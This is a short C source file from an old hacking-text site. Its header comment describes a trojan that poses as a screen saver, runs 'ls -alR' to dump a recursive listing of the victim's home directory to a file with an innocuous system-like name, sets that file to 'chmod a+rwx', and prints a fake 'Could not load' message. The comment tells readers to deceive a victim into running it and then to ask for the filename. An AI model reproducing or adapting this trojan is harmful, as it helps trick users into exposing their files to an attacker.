/* DIR_INFO_HACK v1.3 for UNIX by NiDgiD (nidgid@thepentagon.com, http://members.tripod.com/~hack_texts/nidgid/ See http://members.tripod.com/~hack_texts/dir_info_hack.html for updates and/or new stuff related to dir_info_hack. Also at the site is a DOS/Windows version. Usage: Change "filename" in the source to whatever you want it to be called. Now you want this filename to be a regular system filename. I had a Dos/Windows version of this exploit that would save it as C:\windows\system\win32h08.dll. The hacker could send the program to the person telling him it was a screen saver (or something), then when run, it would prompt: "Loading...", then map out his hard drive to a .dll. That is good because nobody ever thinks of opening a .dll in Notepad! Use your imagination. Once you have decided on a filename, then send it to him telling him it is the something cool, then ask him for the filename and boom. You've got a directory listing of everything on his shell account. What it does: This C code will NOT map out the whole hard drive. It will map out the users home directories. When I was beta testing, I had this program map out the whole system, and frankly, it took too darn long. They would catch on that it was something and would never work on anybody with half a brain. If you can make a way to map out the whole hard drive in less than 15 seconds, then mail me letting me know. After the program saves a listing of the users files and directories to disk, it will then give the filename read, write, and executable privileges. Once finished, it prints "Could not load" then ends. dir_info_hack will also show hidden files. */ #include "stdio.h" main() { printf("Loading...\n"); system("ls -alR > filename"); system("chmod a+rwx filename"); printf("Could not load"); }